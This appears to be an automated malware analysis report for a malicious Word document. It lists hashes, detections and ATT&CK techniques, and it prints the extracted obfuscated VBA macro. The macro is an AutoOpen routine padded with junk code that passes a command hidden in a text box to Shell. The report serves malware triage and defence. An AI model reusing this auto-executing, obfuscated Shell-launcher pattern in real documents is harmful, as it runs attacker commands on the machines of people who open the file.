Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 086cf5e113db8ade…

MALICIOUS

Office (OLE)

81.5 KB Created: 2018-12-12 13:34:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: d24a665487e0675683819336d5d85bc9 SHA-1: 5bbbfc7d051cf3950388bea7955668552ec74325 SHA-256: 086cf5e113db8ade5a097329e90f7ecc3cece8d09937d2365008ead259537bd0
292 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'autoopen' macro triggers the execution of obfuscated VBA code that utilizes 'Shell()' calls, indicating an attempt to run external commands. Heuristics also flag references to PowerShell, suggesting a multi-stage attack. The primary intent appears to be the execution of a secondary payload via command-line interpreters.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-6781697-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-6781697-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
     _
.Shell(CdkWUFPouP, vBSBRrPKrHU), LNZFkMMwZ)
   Set wmjnGBQwSzUXqvwRjr = wijqLLWhiIDffvIPP
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
DatDfGUVz
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5661 bytes
SHA-256: 19065a9b79317c013a3abeaab294385890a530992ae6ccbbab19b0388b82e695
Detection
ClamAV: No threats found
Obfuscation or payload: likely
146 of 184 identifiers look randomly generated (e.g. 'APnZPnpVEDZiqvonzcCwtnLF') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "AWVfVjvJXLAjnE"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "TextBox1, 0, 0, MSForms, TextBox"
Sub autoopen()
DatDfGUVz
End Sub

Attribute VB_Name = "SfGpkRw"
Function DatDfGUVz()
On Error Resume Next
   Set GPnzEHCKwjEYiJ = JSsRzPTDKmaaCqMiTtLZc
      ldkQdwTCEtQzNhRXUknLdL = Sqr(jATlzkfSkFVjOhjmWkHh)
         KDdfRwYalQLazDQJLVSY = 174581018 * Oct(trACpnwRaVdzVwpGfnHr) * 335094068 * KGPdQcKOoIGfJliPGkcUpp - (319852546 + CLng(hTTFqfRijFhtmM) * 156518377 * CBool(146281257))
   MhUqqnEbQjWPiwU = ChrW(NvwIFYIqXzEDkcuM)
   Set diPKFTjffUrKFvpLFAS = pSvCwAndZovzvwqrPIWsO
      AqNYVwBAikQmmLjNNFj = Sqr(GqYsOIFzvwdaUO)
         EpYiqbZFLjJKiHCuR = 76352542 * Oct(TKRUKNrDEmGpSXti) * 156654420 * aqbhkNJFwbqtBMPJvHnUOR - (336880885 + CLng(UTEtqmlciFqVjmZELEO) * 105817418 * CBool(86621130))
   kuaIclrDbIrDMQIQ = ChrW(LpNPwVtZJijJJCjLJ)
   Set racjpdsrYKwwBXIajEHi = sUpUjvajjMzNRTLhd
      QuFUXsuWiiNrZLQQwFnOFh = Sqr(IpwwlkDztFRrnJXzw)
         NNsVrmnwBVGuOhiczfZ = 320410687 * Oct(milUlIUcGaIqpsUZ) * 257225201 * LIoiiqzrjJKMsXAPaiGAFiTT - (312521469 + CLng(zDZoNDKiOoUDvuVuYLStilq) * 166093210 * CBool(118926593))
   SmrhoUmotvSuvHCJJLvWn = ChrW(iLFIBCMMNAWclXqh)
   Set CdksOqjzsBzOml = kJmkAAXNMUXoPhOt
      JplIZRAfckICRipMvLvKN = Sqr(AfPYXqBUQiHNFzAELrlFYQ)
         LuqicTVSjWToGsAtK = 198581774 * Oct(UdvEYrMrADYHRkQ) * 30947475 * hIZBuMXqlIuLKwbbQvkP - (279512189 + CLng(qPcVPLOBEpoWLCFGa) * 116366870 * CBool(157696754))
   njSfqEwjAofpnQRJ = ChrW(YwLbjEEXomZWKVTrciH)
   Set TwILOvlmwrwdhLcWo = bzwJDkXIVlRpiiUfwH
      jplMLiItwFGLsEOwqQKvXoGZ = Sqr(UIISJCNVWIjpknaurZCPaYlU)
         dOoLbrjLNqZzbpDtqWvh = 55310584 * Oct(djAjODKZvXomjnY) * 62189252 * QzdXwBuPkzVkCpnXXlEKvdf - (8674998 + CLng(uBLpJPUjbijijjiFQiEoot) * 223236146 * CBool(4814658))
   ICTwznScjCzjabjBD = ChrW(KEsnEWEfwaMwATKaAMA)
Const vBSBRrPKrHU = 0
   Set tzCFSWlBKIXTGucTOmjKRtXi = CHjWGGiPXFUOTNbISwvap
      GajAOPTizcTXQP = Sqr(fDBpEioHFuZEBz)
         bHrwAJpGrTvsFsuvwMHmsull = 142747944 * Oct(SbFpLRfCAMfROrqzJ) * 144834228 * piPKzcsuMFhVGci - (283483737 + CLng(BCHiNDriPizPwukP) * 195016881 * CBool(210017357))
   CRGMTWTwTqZpjAcwGOdci = ChrW(cjzufPKwFcwzowupoHt)
   Set YmPdDwpcznPSCJ = hXJLdumqWSiKuwHwhrSO
      XzjkASHmwQuFaz = Sqr(tciGlvtLVoujpqiakuaJaab)
         ciEYBoFUwPCENLdIilOw = 37593043 * Oct(SvQpJKAnSTBBiHrVJjiah) * 170414608 * dNYRRfoLfXqMIIMiuTKziD - (77917355 + CLng(VRJchNfDsHmbktjIdIVd) * 260754970 * CBool(308922739))
   MzCoGXcFaBrvzVLdSsnTB = ChrW(ktBkBTahhtajwffYYj)
   Set hUwmDYdpJGtDzfB = sPIPEbzZOfEvUTph
      vYXwwwOSXSWadiYbvDLzKAF = Sqr(ZYXUiVqRLIEHdMtQtw)
         JdzkAfTYPihkuSCZZauk = 18485648 * Oct(EOUaQzjJuGNUwrZnXoO) * 318834930 * miXJpanUpwMdhYlQZPW - (274493121 + CLng(jbXaVLzmDGVGBSk) * 322514946 * CBool(112792739))
   WvpFIAqOSoXzZsGUCDA = ChrW(TPohmsqXfGATInzuQiTWk)
CdkWUFPouP = AWVfVjvJXLAjnE.TextBox1 + PFjcz + hwiIHH + PJSjLn + ltMEYjdz + dShLNX + TWafrmHL + RXhWKQ
   Set bkFjojPniEbzwLlz = BuNiLUGizwWwlBiokSMFVfwP
      wfEkzDsmZYnTfPP = Sqr(wqntrsDsKMsZrbWwwaNpBwAs)
         KMcuVEDzFXoKVQGbLZkK = 128644764 * Oct(zCrUECZzzpuPjfawpIoclDh) * 247168440 * KGOqZQhKPPaDAzBXHXzQ - (43271911 + CLng(aAMjcWrItVFsuvKHZZMFR) * 110124241 * CBool(3444268))
   pImEdjhVVajNdqnLSGVEzIF = ChrW(MAzZDBSJARtUjmi)
   Set WmMCdAohNjfQDEFzX = UnRKPVzfZWvQdmjwJCbDi
      cwXoTFwkiHllFMzMW = Sqr(FzbRlzDtjFvDWTCELUnbCrh)
         soisjUzwjkzhpKLZlaWtpa = 246704732 * Oct(iABfZvoOQmZzSKMPF) * 332452486 * lVVPAJNqbVozRCNJfT - (133021995 + CLng(kwjRCkNHaOGnrDAvNlA) * 141917959 * CBool(76330205))
   NsbmIuEAjvlamom = ChrW(MQvFPMOAINCRwu)
   Set zrwrImViZGqiMO = haPVwhOBKFOvcwwDAVacm
      BfSQuNIQXiALGDnUiVkqlmtq = Sqr(lcDqNllwjZkDjmAtuijvQqs)
         fnFrwMOlbWJkFaKwO = 85726393 * Oct(iCRCjjwqDNvcvknKZj) * 303356039 * WKzbJdPoUYjhDT - (96393522 + CLng(OkWIzVLXftNARQkP) * 132135616 * CBool(72405800))
   TDptFTIWfiOZbVavpKlCBzbw = ChrW(POWEoTNsUuJZrQorz)
   Set AsUDticRXhKKviRwksEql = QajimcBkHvWFJM
      KJNvzPSzihtoqfWFVvzctXP = Sqr(APnZPnpVEDZiqvonzcCwtnLF)
         qAKLkwnuSuictiqrYkmGo = 93732345 * Oct(HKfRVSCNEioZniJTFlo) * 162940061 * FKDuLFVCYwwbZD - (10815611 + CLng(hRcQhiuEJDMORhU) * 342066682 * CBool(273134638))
   BzbWKNjKfjrzNbHOXUL = ChrW(TbQzkIsGlriwmzC)
   Set MRDuBffSBKrjSnSaFj = ilvRocHUTQFBJIrjCXlabl
      kaAfCaVbJYZaiRzPStLLBwJ = Sqr(abDPCUIMsqLqnwFtzowdj)
         ISCHShQasnRSEbWGYoPNi = 292364052 * Oct(JcVoRNNAjwsSlNu) * 12555434 * wSzXZUrdXrPHNWAQMtf - (321543544 + CLng(wMfnlTMJltimoQQuijHiKuW) * 324317971 * CBool(294506767))
   csBYTPFhwFSjoBfTl = ChrW(lUYFjVdJYSiDpivSrTHMZPhH)
   Set YvHXusKZvmfjzokdj = mPuYRIwwNRzpAjGHwrJPf
      ToWhLMShmulbpC = Sqr(zdzZvftcGlvcrqsTTD)
         wGCkwmfffCEZuEmwOJqjW = 170327215 * Oct(QwQjbrtbRYEGPztD) * 252845321 * zOZBMAYFriKdTPWtm - (264464056 + CLng(DEnlbnApzWBVGDTWLnOj) * 105259013 * CBool(66232382))
   zORoEpjVLEXiLLczOL = ChrW(aiqJDZAsLGXEPtin)
KHPjWwL = Array(MplGCK, ojGZi, mBUaYoE, Interaction _
 _
 _
 _
 _
 _
 _
 _
.Shell(CdkWUFPouP, vBSBRrPKrHU), LNZFkMMwZ)
   Set wmjnGBQwSzUXqvwRjr = wijqLLWhiIDffvIPP
      KjqqLdiWpsScYYjWHlPvY = Sqr(jUiqPTocifiiZKZHXDMp)
         iOFjfwJoWzTKhwWHVN = 70702141 * Oct(NKmtpwYwzOMjiHFFcGkWf) * 261238105 * jPXrOCzBqBHHTcLt - (211540958 + CLng(MpInjbZqRfPcoCazGiR) * 48180949 * CBool(67642642))
   zMWibAmdQMEzSwCsfwRXlUm = ChrW(NFjUVjcYOSpwRBAZ)
End Function

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